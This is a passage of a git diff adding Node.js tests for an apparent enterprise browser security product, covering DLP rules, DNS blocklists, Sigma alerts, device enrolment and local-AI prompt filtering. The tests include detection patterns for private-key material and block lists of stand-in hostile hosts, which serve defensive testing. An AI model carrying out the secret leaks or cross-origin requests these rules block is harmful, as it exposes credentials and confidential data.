KEY-----'),p).ruleId,'private-key'); + assert.equal(inspect(Buffer.from([255,254]),p).ruleId,'uninspectable'); + assert.equal(inspect(Buffer.from('a\0b'),p).ruleId,'uninspectable'); + assert.equal(inspect(Buffer.alloc(p.dlp.maxBytes+1),p).ruleId,'size-limit'); + assert.equal(inspect(Buffer.from('Public information'),p).decision,'allow'); +}); +test('exact fingerprints detect registered bytes',()=>{ + const p=defaultPolicy(),data=Buffer.from('confidential sample');p.dlp.rules=[{id:'file',label:'Reference',kind:'sha256',value:createHash('sha256').update(data).digest('hex'),action:'block'}]; + assert.equal(inspect(data,p).ruleId,'file');assert.equal(inspect(Buffer.from('different sample'),p).decision,'allow'); +}); +test('invalid proxy, duplicate IDs and unsafe home schemes are rejected',()=>{ + const p=defaultPolicy();p.proxy={mode:'pac_script',pacUrl:'http://example.com/pac'};assert.equal(PolicySchema.safeParse(p).success,false); + p.proxy={mode:'system'};p.browser.homeUrl='file:///secret';assert.equal(PolicySchema.safeParse(p).success,false); + p.browser.homeUrl='https://example.com';const r={id:'duplicate',label:'Secret',kind:'literal',value:'x',action:'block'};p.dlp.rules=[r,r];assert.equal(PolicySchema.safeParse(p).success,false); +}); diff --git a/tests/security.test.mjs b/tests/security.test.mjs new file mode 100644 index 0000000..9dd48df --- /dev/null +++ b/tests/security.test.mjs @@ -0,0 +1,96 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import { defaultPolicy,PolicySchema,destinationAllowed,inspect,inspectForAI,fragmentHashes,verifyPolicy } from '../packages/core/policy.mjs'; +import { dnsAddressBlocked,evaluateSigma,VisualOriginSchema } from '../packages/core/security.mjs'; +import { createApp } from '../apps/server/app.mjs'; +import { openStore } from '../apps/server/store.mjs'; +import { mkdtempSync,rmSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { createServer } from 'node:http'; +import { randomUUID } from 'node:crypto'; +import { deflateSync } from 'node:zlib'; +test('security defaults deny agent access and DNS/content policies enforce centrally',()=>{ + const p=defaultPolicy();assert.equal(p.agents.enabled,false);p.security.dns.blockedHosts=['*.evil.test'];p.security.dns.blockedIPs=['2001:db8::1'];p.security.content.blockedPhrases=['restricted roadmap']; + assert.equal(destinationAllowed('https://child.evil.test',p),false);assert.equal(destinationAllowed('https://evil.test.example',p),true);assert.equal(dnsAddressBlocked('2001:0db8:0:0:0:0:0:1',p),true);assert.equal(inspect(Buffer.from('Restricted Roadmap'),p).decision,'block'); + p.security.dns.blockedIPs=['not-an-address'];assert.equal(PolicySchema.safeParse(p).success,false); +}); +test('password manager defaults and idle bounds reject insecure or unknown settings',()=>{ + const p=defaultPolicy();assert.deepEqual(p.passwordManager,{enabled:true,allowSaving:true,allowAutofill:true,idleLockSeconds:300});p.passwordManager.idleLockSeconds=59;assert.equal(PolicySchema.safeParse(p).success,false);p.passwordManager.idleLockSeconds=901;assert.equal(PolicySchema.safeParse(p).success,false);p.passwordManager.idleLockSeconds=60;p.passwordManager.password='secret';assert.equal(PolicySchema.safeParse(p).success,false); +}); +test('visual references require explicit valid brands and canonical exact domain origins',()=>{ + const p=defaultPolicy();assert.equal(p.security.visualPhishing.enabled,false);p.security.visualPhishing.enabled=true;assert.equal(PolicySchema.safeParse(p).success,false); + for(const origin of ['http://login.example','https://*.example','https://login.example/','https://login.example?x=1','https://alice:secret@login.example','https://127.0.0.1','https://[::1]','https://login.example.','https://bücher.example'])assert.equal(VisualOriginSchema.safeParse(origin).success,false,origin); + assert.equal(VisualOriginSchema.safeParse('https://xn--bcher-kva.example').success,true);assert.equal(VisualOriginSchema.safeParse('https://login.example:8443').success,true); + p.security.visualPhishing.brands=[{id:'brand',label:'Brand',allowedOrigins:['https://login.example'],references:[{hash:'a'.repeat(16),algorithm:'phash-dct32-v1',scope:'login-form',viewport:{width:64,height:64}}]}];assert.equal(PolicySchema.safeParse(p).success,true);p.security.visualPhishing.brands[0].references[0].hash='A'.repeat(16);assert.equal(PolicySchema.safeParse(p).success,false); +}); +function referencePNG(flat=false){ + const crc=bytes=>{let value=0xffffffff;for(const byte of bytes){value^=byte;for(let n=0;n<8;n++)value=(value>>>1)^((value&1)?0xedb88320:0);}return(value^0xffffffff)>>>0;}; + const chunk=(kind,data)=>{const type=Buffer.from(kind),length=Buffer.alloc(4),sum=Buffer.alloc(4);length.writeUInt32BE(data.length);sum.writeUInt32BE(crc(Buffer.concat([type,data])));return Buffer.concat([length,type,data,sum]);}; + const width=64,height=64,header=Buffer.alloc(13);header.writeUInt32BE(width);header.writeUInt32BE(height,4);header[8]=8;header[9]=6;const rows=Buffer.alloc(height*(1+width*4));for(let y=0;y{ + const dir=mkdtempSync(join(tmpdir(),'security-visual-')),store=openStore(dir),adminToken='administrator-token-at-least-thirty-two-characters';const server=createApp(store,{adminToken,publicUrl:'http://127.0.0.1:4310',secure:false}).listen(0,'127.0.0.1');await new Promise(r=>server.on('listening',r));t.after(async()=>{await new Promise(r=>server.close(r));store.db.close();rmSync(dir,{recursive:true,force:true});}); + const base=`http://127.0.0.1:${server.address().port}`,data=referencePNG().toString('base64'),body={expectedVersion:1,brandId:'corporate-login',label:'Corporate login',allowedOrigins:['https://login.example'],data,scope:'login-form'}; + const derive=(b,token=adminToken)=>fetch(base+'/api/admin/security/visual-reference',{method:'POST',headers:{authorization:`Bearer ${token}`,'content-type':'application/json'},body:JSON.stringify(b)}); + assert.equal((await derive(body,'unauthorized')).status,401);assert.equal((await derive({...body,allowedOrigins:['https://*.example']})).status,400);assert.equal((await derive({...body,data:referencePNG(true).toString('base64')})).status,400);const response=await derive(body);assert.equal(response.status,200);const result=await response.json();assert.match(result.brand.references[0].hash,/^[a-f0-9]{16}$/);assert.deepEqual(result.brand.references[0].viewport,{width:64,height:64});assert.equal(result.quality.contrast>10,true);assert.equal(store.get('policy').version,1);assert.deepEqual(store.get('policy').security.visualPhishing.brands,[]); + const values=store.db.prepare('SELECT value FROM settings').all().map(r=>r.value).join('')+store.db.prepare('SELECT metadata FROM events').all().map(r=>r.metadata).join('');assert.equal(values.includes(data),false);assert.equal(store.db.prepare('SELECT count(*) AS n FROM teaching').get().n,0); + const policy=store.get('policy');policy.version=2;policy.security.visualPhishing={enabled:true,failClosed:true,brands:[result.brand]};const published=await fetch(base+'/api/admin/policy',{method:'PUT',headers:{authorization:`Bearer ${adminToken}`,'content-type':'application/json'},body:JSON.stringify(policy)});assert.equal(published.status,200);assert.equal(store.get('policy').security.visualPhishing.brands[0].id,'corporate-login'); +}); +test('fragment fingerprints catch partial document excerpts across capitalization',()=>{ + const source='The secret engineering roadmap describes eight amazing new confidential customer features tomorrow';const value=[...fragmentHashes(source)][1];const p=defaultPolicy();p.dlp.rules=[{id:'excerpt',label:'Private',kind:'fragment-sha256',value,action:'block'}]; + assert.equal(inspect(Buffer.from(source.toUpperCase()+' additional public text'),p).decision,'block');assert.equal(inspect(Buffer.from('unrelated public information'),p).decision,'allow'); +}); +test('confidential local AI override preserves ordinary DLP and never permits credentials',()=>{ + const p=defaultPolicy();p.ai={...p.ai,enabled:true,allowConfidentialLocal:true,trustMode:'external'};p.dlp.rules=[{id:'company-roadmap',label:'Roadmap',kind:'literal',value:'confidential roadmap',action:'block'}];const content=Buffer.from('confidential roadmap');assert.equal(inspectForAI(content,p).decision,'block');p.ai.trustMode='local';assert.deepEqual(inspectForAI(content,p),{decision:'allow',ruleId:'company-roadmap',classification:'local-only'});assert.equal(inspect(content,p).decision,'block');assert.equal(inspectForAI(Buffer.from('confidential roadmap -----BEGIN PRIVATE KEY-----'),p).ruleId,'private-key');p.security.content.blockedPhrases=['confidential roadmap'];assert.equal(inspectForAI(content,p).decision,'block'); +}); +test('restricted Sigma rejects unsupported syntax and matches metadata only',()=>{ + const p=defaultPolicy();const rule={id:'block-alert',title:'Blocked upload',level:'high',detection:{selection:{kind:'dlp.block',ruleId:'secret'},condition:'selection'}};p.security.sigma.rules=[rule];assert.equal(PolicySchema.safeParse(p).success,true); + assert.equal(evaluateSigma({kind:'dlp.block',metadata:{ruleId:'secret',prompt:'not inspected'}},[rule]).length,1);rule.detection.selection={};assert.equal(PolicySchema.safeParse(p).success,false);rule.detection.condition='selection or all of them';assert.equal(PolicySchema.safeParse(p).success,false); +}); +test('authenticated blocklist publishing versions signed policy and teaching requires approval',async t=>{ + const dir=mkdtempSync(join(tmpdir(),'security-')),store=openStore(dir),adminToken='unit-test-secure-admin-token-at-least-32-chars';const app=createApp(store,{adminToken,publicUrl:'http://127.0.0.1:4310',secure:false});const server=app.listen(0,'127.0.0.1');await new Promise(r=>server.on('listening',r));const base=`http://127.0.0.1:${server.address().port}`; + t.after(async()=>{await new Promise(r=>server.close(r));store.db.close();rmSync(dir,{recursive:true,force:true});}); + const update=(body,authorized=true)=>fetch(base+'/api/admin/security/blocklists',{method:'PUT',headers:{'content-type':'application/json',...(authorized?{authorization:`Bearer ${adminToken}`}:{})},body:JSON.stringify(body)}); + const body={expectedVersion:1,blockedHosts:['bad.test'],blockedIPs:['127.0.0.2']};assert.equal((await update(body,false)).status,401);assert.equal((await update({...body,blockedIPs:['bad']})).status,400);assert.equal((await update(body)).status,200);assert.equal(store.get('policy').version,2);assert.equal((await update(body)).status,409); + store.db.prepare('INSERT INTO teaching VALUES(?,?,?,?,?,?,?,?)').run('draft','now','owner','Secret','draft',JSON.stringify({sha256:'a'.repeat(64),fragmentHashes:[],registrationReady:true}),null,null); + const promote=b=>fetch(base+'/api/admin/teaching/draft/publish',{method:'POST',headers:{'content-type':'application/json',authorization:`Bearer ${adminToken}`},body:JSON.stringify(b)}); + assert.equal((await promote({expectedVersion:2,approve:false})).status,400);assert.equal((await promote({expectedVersion:2,approve:true})).status,200);assert.equal(store.get('policy').dlp.rules[0].value,'a'.repeat(64));assert.equal((await promote({expectedVersion:3,approve:true})).status,404); + store.db.prepare('INSERT INTO teaching VALUES(?,?,?,?,?,?,?,?)').run('partial','now','owner','Office partial','draft',JSON.stringify({sha256:'b'.repeat(64),fragmentHashes:['c'.repeat(64)],registrationReady:false,coverage:{complete:false}}),null,null); + const partial=b=>fetch(base+'/api/admin/teaching/partial/publish',{method:'POST',headers:{'content-type':'application/json',authorization:`Bearer ${adminToken}`},body:JSON.stringify(b)}); + assert.equal((await partial({expectedVersion:3,approve:true})).status,409);const promoted=await partial({expectedVersion:3,approve:true,mode:'available-fingerprints'});assert.equal(promoted.status,200);assert.equal((await promoted.json()).coverage,'partial');const final=store.get('policy');assert.equal(final.dlp.rules.length,3);assert.equal(final.dlp.rules[0].value,'a'.repeat(64));assert.equal(final.dlp.rules[2].kind,'fragment-sha256');assert.equal(store.db.prepare("SELECT metadata FROM events WHERE kind='teaching.approved' ORDER BY id DESC LIMIT 1").get().metadata.includes('partial'),true); +}); +test('existing old policy settings normalize missing security fields without data loss',()=>{ + const dir=mkdtempSync(join(tmpdir(),'security-upgrade-')),store=openStore(dir);try{const old=defaultPolicy();delete old.security;delete old.agents;old.ai={enabled:false,model:''};store.put('policy',old);const updated=store.get('policy');assert.equal(updated.agents.enabled,false);assert.deepEqual(updated.security.dns.blockedHosts,[]);assert.equal(updated.version,old.version);assert.equal(updated.ai.provider,'openai-compatible');}finally{store.db.close();rmSync(dir,{recursive:true,force:true});} +}); +test('per-browser signed manual scan controls preserve mandatory protection and training stores derived metadata only',async t=>{ + const raw='confidential full document sentinel must not persist',data=Buffer.from(raw).toString('base64');const inspector=createServer((req,res)=>{assert.equal(req.url,'/reference-document');assert.equal(req.headers.authorization,'Bearer private-inspector-test-token');res.setHeader('content-type','application/json');res.end(JSON.stringify({sha256:'d'.repeat(64),bytes:raw.length,contentType:'text',fragmentHashes:['e'.repeat(64)],registrationReady:true,coverage:{complete:true,textCharacters:raw.length,rawText:raw,fragmentHashesTotal:1010,fragmentHashesRetained:1000,fragmentHashesTruncated:true,extractionComplete:true,featuresComplete:false},data,text:raw}));});inspector.listen(0,'127.0.0.1');await new Promise(r=>inspector.on('listening',r)); + const dir=mkdtempSync(join(tmpdir(),'security-manual-')),store=openStore(dir),adminToken='administrator-credential-at-least-thirty-two-characters';const server=createApp(store,{adminToken,publicUrl:'http://127.0.0.1:4310',secure:false,inspectorUrl:`http://127.0.0.1:${inspector.address().port}`,inspectorToken:'private-inspector-test-token'}).listen(0,'127.0.0.1');await new Promise(r=>server.on('listening',r)); + t.after(async()=>{await Promise.all([new Promise(r=>server.close(r)),new Promise(r=>inspector.close(r))]);store.db.close();rmSync(dir,{recursive:true,force:true});}); + const base=`http://127.0.0.1:${server.address().port}`;async function api(path,body,method=body?'POST':'GET',credential=adminToken){return fetch(base+path,{method,headers:{authorization:`Bearer ${credential}`,...(body?{'content-type':'application/json'}:{})},body:body?JSON.stringify(body):undefined});} + const enrollment=async name=>{const code=(await(await api('/api/admin/enrollments',{user:name})).json()).code;return(await api('/api/device/enroll',{code,name,platform:'win32'})).json();};const a=await enrollment('A'),b=await enrollment('B');assert.equal(verifyPolicy(a.policy,a.publicKey).inspection.documentAnalysisEnabled,true); + const setting={expectedVersion:1,documentAnalysisEnabled:false};assert.equal((await api(`/api/admin/devices/${a.id}/inspection`,setting,'PATCH',a.token)).status,401);assert.equal((await api(`/api/admin/devices/${a.id}/inspection`,setting,'PATCH')).status,200); + const pa=verifyPolicy(await(await api('/api/device/policy',undefined,'GET',a.token)).json(),a.publicKey),pb=verifyPolicy(await(await api('/api/device/policy',undefined,'GET',b.token)).json(),b.publicKey);assert.equal(pa.version,2);assert.equal(pa.inspection.documentAnalysisEnabled,false);assert.equal(pb.inspection.documentAnalysisEnabled,true);assert.equal(pa.dlp.blockUninspectable,true);assert.deepEqual(pa.security.yara,pb.security.yara);assert.equal((await api(`/api/admin/devices/${a.id}/inspection`,setting,'PATCH')).status,409); + const response=await api('/api/admin/teaching',{label:'Reference',filename:'reference.txt',data});assert.equal(response.status,200);const stored=store.db.prepare('SELECT reference FROM teaching').get().reference;assert.equal(stored.includes(raw),false);assert.equal(stored.includes(data),false);assert.equal(stored.includes('rawText'),false);assert.equal(stored.includes('sha256'),true);const coverage=JSON.parse(stored).coverage;assert.equal(coverage.fragmentHashesTotal,1010);assert.equal(coverage.fragmentHashesRetained,1000);assert.equal(coverage.fragmentHashesTruncated,true);assert.equal(coverage.extractionComplete,true);assert.equal(coverage.featuresComplete,false);assert.equal(store.db.prepare('SELECT metadata FROM events').all().some(e=>e.metadata.includes(raw)||e.metadata.includes(data)),false); +}); +test('local Ollama needs no API key, blocks secrets before provider, and Sigma alerts exclude raw content',async t=>{ + let calls=0;const model=createServer((req,res)=>{calls++;assert.equal(req.url,'/api/chat');assert.equal(req.headers.authorization,undefined);res.setHeader('content-type','application/json');res.end(JSON.stringify({message:{content:'Local answer'}}));});model.listen(0,'127.0.0.1');await new Promise(r=>model.on('listening',r)); + const dir=mkdtempSync(join(tmpdir(),'security-ai-')),store=openStore(dir),p=defaultPolicy();p.ai={enabled:true,model:'local-model',provider:'ollama',trustMode:'local',endpointId:'default'};p.security.sigma.rules=[{id:'agent-denials',title:'Agent blocked',level:'high',detection:{selection:{kind:'agent.denied'},condition:'selection'}}];store.put('policy',p); + const token='enrolled-device-test-credential';const {digest}=await import('../apps/server/store.mjs');store.db.prepare('INSERT INTO devices(id,name,platform,user,token_hash,last_seen) VALUES(?,?,?,?,?,?)').run('device','Test','win32','alice',digest(token),'now'); + const config={adminToken:'administrator-token-at-least-thirty-two-characters',publicUrl:'http://127.0.0.1:4310',secure:false,aiBaseUrl:`http://127.0.0.1:${model.address().port}`,aiModel:'local-model'};const server=createApp(store,config).listen(0,'127.0.0.1');await new Promise(r=>server.on('listening',r)); + t.after(async()=>{await Promise.all([new Promise(r=>server.close(r)),new Promise(r=>model.close(r))]);store.db.close();rmSync(dir,{recursive:true,force:true});}); + const send=(path,body)=>fetch(`http://127.0.0.1:${server.address().port}${path}`,{method:'POST',headers:{authorization:`Bearer ${token}`,'content-type':'application/json'},body:JSON.stringify(body)}); + const answer=await send('/api/device/ai',{prompt:'Hello local model'});assert.equal(answer.status,200);assert.equal((await answer.json()).answer,'Local answer');assert.equal(calls,1); + assert.equal((await send('/api/device/ai',{prompt:'-----BEGIN PRIVATE KEY-----'})).status,403);assert.equal(calls,1); + p.dlp.rules=[{id:'company-roadmap',label:'Roadmap',kind:'literal',value:'confidential roadmap',action:'block'}];store.put('policy',p);assert.equal((await send('/api/device/ai',{prompt:'confidential roadmap'})).status,403);assert.equal(calls,1); + p.ai.allowConfidentialLocal=true;store.put('policy',p);assert.equal((await send('/api/device/ai',{prompt:'confidential roadmap'})).status,200);assert.equal(calls,2);assert.equal((await send('/api/device/ai',{prompt:'confidential roadmap -----BEGIN PRIVATE KEY-----'})).status,403);assert.equal(calls,2); + const allowed=store.db.prepare("SELECT metadata FROM events WHERE kind='ai.decision' ORDER BY id DESC").all().map(v=>JSON.parse(v.metadata)).find(v=>v.classification==='local-only');assert.equal(allowed.ruleId,'company-roadmap');assert.equal(allowed.decision,'allow'); + config.aiBaseUrl='http://192.0.2.1';assert.equal((await send('/api/device/ai',{prompt:'confidential roadmap'})).status,500);assert.equal(calls,2); + assert.equal((await send('/api/device/events',{eventId:randomUUID(),kind:'agent.denied',ruleId:'agent:read:blocked',policyVersion:1})).status,200);assert.equal(store.db.prepare('SELECT count(*) AS n FROM alerts').get().n,1); + for(const extra of [{username:'alice'},{password:'private'},{credentialId:'identifier'},{host:'login.example'},{ruleId:'credential-id'}])assert.equal((await send('/api/device/events',{eventId:randomUUID(),kind:'vault.fill-requested',policyVersion:1,...extra})).status,400); + for(const kind of ['vault.created','vault.unlocked','vault.locked','vault.saved','vault.deleted','vault.filled','vault.fill-requested'])assert.equal((await send('/api/device/events',{eventId:randomUUID(),kind,policyVersion:1})).status,200); + for(const kind of ['clipboard.copy','clipboard.cut','clipboard.paste','clipboard.block']){assert.equal((await send('/api/device/events',{eventId:randomUUID(),kind,policyVersion:1,ruleId:'clipboard-test'})).status,200);for(const extra of [{text:'private clipboard sentinel'},{clipboard:'private clipboard sentinel'},{password:'private clipboard sentinel'}])assert.equal((await send('/api/device/events',{eventId:randomUUID(),kind,policyVersion:1,...extra})).status,400);} + const audit=store.db.prepare('SELECT metadata FROM events').all().map(v=>v.metadata).join('');assert.equal(audit.includes('Hello local model'),false);assert.equal(audit.includes('BEGIN PRIVATE KEY'),false);assert.equal(audit.includes('private clipboard sentinel'),false); +}); + + diff --git a/tests/semantic.test.mjs b/tests/semantic.test.mjs new file mode 100644 index 0000000..9ed7a60 --- /dev/null +++ b/tests/semantic.test.mjs @@ -0,0 +1,43 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import { defaultPolicy,PolicySchema } from '../packages/core/policy.mjs'; +import { defaultSemantic,EmbeddingReferenceSchema,SEMANTIC_ARTIFACT } from '../packages/core/semantic.mjs'; +import { openStore } from '../apps/server/store.mjs'; +import { createApp } from '../apps/server/app.mjs'; +import { createServer } from 'node:http'; +import { mkdtempSync,rmSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +const revision='bfcd298762cc34d0357ece5ebdd31791a3a374d8',vector=(index=0)=>Array.from({length:768},(_,i)=>i===index?1:0); +function enabledPolicy(){const p=defaultPolicy();p.dlp.semantic={...defaultSemantic(),enabled:true,revision,categories:[{id:'internal',label:'Internal',threshold:0.8,prototype:vector(),prototypes:[vector(),vector(1)]}]};return p;} +const reference=()=>({model:'google/embeddinggemma-2',revision,dimensions:768,profile:'document-v1',...SEMANTIC_ARTIFACT,local:true,vector:vector(),vectors:[vector(),vector(1)],coverage:{complete:true,extractionComplete:true,textChunks:2}}); +test('semantic policy binds the real model, exact revision, dimensions, preprocessing and runtime artifact',()=>{ + const p=enabledPolicy();assert.equal(PolicySchema.safeParse(p).success,true);for(const change of [{model:'unapproved-model'},{revision:'main'},{revision:'A'.repeat(40)},{revision:''},{dimensions:256},{profile:'query-v1'},{artifactFormat:'onnx'},{quantization:'Q4_0'},{runtimeRevision:'unverified'}])assert.equal(PolicySchema.safeParse({...p,dlp:{...p.dlp,semantic:{...p.dlp.semantic,...change}}}).success,false); + for(const threshold of [0,-0.01,1.01]){const invalid=structuredClone(p);invalid.dlp.semantic.categories[0].threshold=threshold;assert.equal(PolicySchema.safeParse(invalid).success,false);} +}); +test('semantic prototypes reject wrong dimensions, nonfinite, zero, unnormalized and excessive vectors',()=>{ + const p=enabledPolicy();for(const bad of [vector().slice(1),Array(768).fill(0),[NaN,...vector().slice(1)],[Infinity,...vector().slice(1)],[1e300,...vector().slice(1)],Array(768).fill(1)]){const candidate=structuredClone(p);candidate.dlp.semantic.categories[0].prototype=bad;assert.equal(PolicySchema.safeParse(candidate).success,false);} + p.dlp.semantic.categories[0].prototypes=Array.from({length:65},()=>vector());assert.equal(PolicySchema.safeParse(p).success,false);p.dlp.semantic.categories=Array.from({length:5},(_,i)=>({id:`category-${i}`,label:'Category',threshold:0.8,prototype:vector(),prototypes:Array.from({length:64},()=>vector())}));assert.equal(PolicySchema.safeParse(p).success,false); + const large=defaultPolicy();large.security.yara.rules=Array.from({length:30},(_,i)=>({id:`yara-${i}`,name:'Large rule',source:'x'.repeat(65536)}));assert.equal(PolicySchema.safeParse(large).success,false); +}); +test('disabled legacy semantic configuration migrates safely but active unprofiled references fail closed',()=>{ + const inactive=defaultPolicy();inactive.dlp.rules=[{id:'keep',label:'Keep',kind:'literal',value:'Secret Roadmap',action:'block'}];inactive.dlp.semantic={enabled:false,model:'google/embeddinggemma-2',revision:'legacy-unpinned',categories:[]};const migrated=PolicySchema.parse(inactive);assert.deepEqual(migrated.dlp.semantic,defaultSemantic());assert.equal(migrated.dlp.rules[0].id,'keep');const active=enabledPolicy();delete active.dlp.semantic.profile;assert.equal(PolicySchema.safeParse(active).success,false); +}); +test('reference vectors require complete typed provenance and bounded aligned chunks',()=>{ + assert.equal(EmbeddingReferenceSchema.safeParse(reference()).success,true);for(const change of [{dimensions:512},{local:false},{revision:'latest'},{vectors:[]},{vectors:Array.from({length:65},()=>vector())},{vector:Array(768).fill(0)},{text:'raw content not permitted'}])assert.equal(EmbeddingReferenceSchema.safeParse({...reference(),...change}).success,false);assert.equal(EmbeddingReferenceSchema.safeParse({...reference(),coverage:{complete:true,extractionComplete:true,textChunks:1}}).success,false); +}); +test('native runtime diagnostics are typed features and media frames can supply multiple vectors',()=>{ + const native={...reference(),backend:'native-gguf',device:'cpu',modalities:['text','image','audio'],coverage:{complete:true,extractionComplete:true,textChunks:0,mediaItems:1}};assert.equal(EmbeddingReferenceSchema.safeParse(native).success,true);assert.equal(EmbeddingReferenceSchema.safeParse({...native,device:'cloud'}).success,false);assert.equal(EmbeddingReferenceSchema.safeParse({...native,modalities:['video']}).success,false);assert.equal(EmbeddingReferenceSchema.safeParse({...native,coverage:{...native.coverage,mediaItems:3}}).success,false); +}); +test('central semantic document teaching retains no source and incomplete coverage cannot create a reference',async t=>{ + let result=reference();const provider=createServer((req,res)=>{assert.equal(req.url,'/embed');assert.equal(req.headers.authorization,'Bearer private-inspector');res.setHeader('content-type','application/json');res.end(JSON.stringify(result));});provider.listen(0,'127.0.0.1');await new Promise(r=>provider.on('listening',r));const directory=mkdtempSync(join(tmpdir(),'semantic-features-')),store=openStore(directory),adminToken='administrator-token-at-least-thirty-two-characters';const server=createApp(store,{adminToken,publicUrl:'http://127.0.0.1:4310',secure:false,inspectorUrl:`http://127.0.0.1:${provider.address().port}`,inspectorToken:'private-inspector'}).listen(0,'127.0.0.1');await new Promise(r=>server.on('listening',r)); + t.after(async()=>{await Promise.all([new Promise(r=>server.close(r)),new Promise(r=>provider.close(r))]);store.db.close();rmSync(directory,{recursive:true,force:true});});const base=`http://127.0.0.1:${server.address().port}`,raw='Confidential full source document sentinel never retained',data=Buffer.from(raw).toString('base64');const submit=()=>fetch(base+'/api/admin/semantic/document-reference',{method:'POST',headers:{authorization:`Bearer ${adminToken}`,'content-type':'application/json'},body:JSON.stringify({data,filename:'reference.txt'})}); + const ok=await submit();assert.equal(ok.status,200);assert.equal((await ok.json()).vectors.length,2);assert.equal(store.get('policy').dlp.semantic.enabled,false);assert.equal(store.db.prepare('SELECT count(*) AS n FROM teaching').get().n,0); + const retained=store.db.prepare('SELECT value FROM settings').all().map(r=>r.value).join('')+store.db.prepare('SELECT metadata FROM events').all().map(r=>r.metadata).join('');assert.equal(retained.includes(raw),false);assert.equal(retained.includes(data),false);assert.equal(retained.includes('prototype'),false); + result={...reference(),coverage:{complete:false,extractionComplete:true,textChunks:2}};assert.equal((await submit()).status,409); +}); +test('active legacy policy remains unsigned until an administrator explicitly repairs and publishes it',async t=>{ + const directory=mkdtempSync(join(tmpdir(),'semantic-migration-'));let store=openStore(directory);const legacy=enabledPolicy();delete legacy.dlp.semantic.profile;store.put('policy',legacy);store.db.close();store=openStore(directory);assert.throws(()=>store.envelope());assert.equal(store.getRaw('policy').dlp.semantic.enabled,true);const adminToken='administrator-token-at-least-thirty-two-characters',server=createApp(store,{adminToken,publicUrl:'http://127.0.0.1:4310',secure:false}).listen(0,'127.0.0.1');await new Promise(r=>server.on('listening',r)); + t.after(async()=>{await new Promise(r=>server.close(r));store.db.close();rmSync(directory,{recursive:true,force:true});});const base=`http://127.0.0.1:${server.address().port}`,overview=await(await fetch(base+'/api/admin/overview',{headers:{authorization:`Bearer ${adminToken}`}})).json();assert.equal(overview.migrationRequired,true);assert.equal(overview.policy.dlp.semantic.enabled,false);assert.equal(store.getRaw('policy').dlp.semantic.enabled,true); + const repaired=enabledPolicy();repaired.version=legacy.version+1;const response=await fetch(base+'/api/admin/policy',{method:'PUT',headers:{authorization:`Bearer ${adminToken}`,'content-type':'application/json'},body:JSON.stringify(repaired)});assert.equal(response.status,200);assert.equal(store.get('policy').dlp.semantic.enabled,true);assert.ok(store.envelope().signature); +}); diff --git a/tests/server.test.mjs b/tests/server.test.mjs new file mode 100644 index 0000000..2565398 --- /dev/null +++ b/tests/server.test.mjs @@ -0,0 +1,209 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import { mkdtempSync, rmSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { createApp } from '../apps/server/app.mjs'; +import { openStore } from '../apps/server/store.mjs'; +import { verifyPolicy } from '../packages/core/policy.mjs'; +import { generateKeyPair,exportJWK,SignJWT } from 'jose'; +import { createHash,randomUUID } from 'node:crypto'; +import {digest} from '../apps/server/store.mjs'; +import {adminRoutePermission,principalForGroups} from '../apps/server/admin-access.mjs'; +async function fixture(t,extra={}){ + const dir=mkdtempSync(join(tmpdir(),'safetynet-test-')),store=openStore(dir),adminToken='test-only-administrator-credential-123456789'; + const config={adminToken,publicUrl:'http://127.0.0.1:4310',secure:false,oidcAdminGroup:'admins',oidcGroupsClaim:'groups',...extra}; + const server=createApp(store,config).listen(0,'127.0.0.1');await new Promise(resolve=>server.on('listening',resolve)); + const base=`http://127.0.0.1:${server.address().port}`; + t.after(async()=>{await new Promise(resolve=>server.close(resolve));store.db.close();rmSync(dir,{recursive:true,force:true});}); + async function api(route,{body,token=adminToken,method=body?'POST':'GET',headers={}}={}){const response=await fetch(base+route,{method,headers:{...(token?{authorization:`Bearer ${token}`}:{ }),...(body?{'content-type':'application/json'}:{}),...headers},body:body?JSON.stringify(body):undefined});return {status:response.status,body:await response.json()};} + return {api,store,base,config}; +} +test('authenticated devices behind corporate NAT have separate quotas and fake tokens cannot bypass IP limits',async t=>{ + const f=await fixture(t),devices=[]; + for(const user of ['a','b']){const code=(await f.api('/api/admin/enrollments',{body:{user}})).body.code;devices.push((await f.api('/api/device/enroll',{body:{name:user,platform:'win32',code},token:null})).body);} + for(let n=0;n<180;n++)for(const device of devices)assert.equal((await f.api('/api/device/heartbeat',{token:device.token,body:{policyVersion:1}})).status,200); + let limited=false;for(let n=0;n<305;n++){const result=await f.api('/api/device/heartbeat',{token:'invalid-public-token-'+String(n).padStart(20,'0'),body:{policyVersion:1}});assert.ok([401,429].includes(result.status));if(result.status===429)limited=true;} + assert.equal(limited,true);assert.equal((await f.api('/api/device/heartbeat',{token:devices[0].token,body:{policyVersion:1}})).status,200);assert.equal((await f.api('/api/admin/overview')).status,200); +}); +test('administration requires auth and rejects cross-origin changes',async t=>{ + const {api}=await fixture(t);assert.equal((await api('/api/admin/overview',{token:null})).status,401); + assert.equal((await api('/api/admin/enrollments',{body:{user:'alice'},headers:{origin:'https://evil.example'}})).status,403); + assert.equal((await api('/api/admin/overview')).status,200); +}); +test('enrollment codes are one-use, signed policy works and revocation denies access',async t=>{ + const {api}=await fixture(t); + const code=(await api('/api/admin/enrollments',{body:{user:'alice'}})).body.code; + const body={code,name:'Alice laptop',platform:'linux'}; + const enrollment=await api('/api/device/enroll',{body,token:null});assert.equal(enrollment.status,200); + const d=enrollment.body;assert.equal(verifyPolicy(d.policy,d.publicKey).version,1); + assert.equal((await api('/api/device/enroll',{body,token:null})).status,401); + assert.equal((await api('/api/device/policy',{token:d.token})).status,200); + assert.equal((await api('/api/device/heartbeat',{token:d.token,body:{policyVersion:1}})).status,200); + assert.equal((await api(`/api/admin/devices/${d.id}/revoke`,{body:{}})).status,200); + assert.equal((await api('/api/device/policy',{token:d.token})).status,401); +}); +test('policy publication detects conflicts and records actor without content',async t=>{ + const {api}=await fixture(t);const original=(await api('/api/admin/overview')).body.policy; + const p=structuredClone(original);p.version=2;p.brand.name='Acme Browser';p.proxy={mode:'fixed_servers',rules:'proxy.example:8080',bypass:'*.example'}; + assert.equal((await api('/api/admin/policy',{method:'PUT',body:p})).status,200); + assert.equal((await api('/api/admin/policy',{method:'PUT',body:p})).status,409); + const overview=(await api('/api/admin/overview')).body;assert.equal(overview.policy.brand.name,'Acme Browser'); + 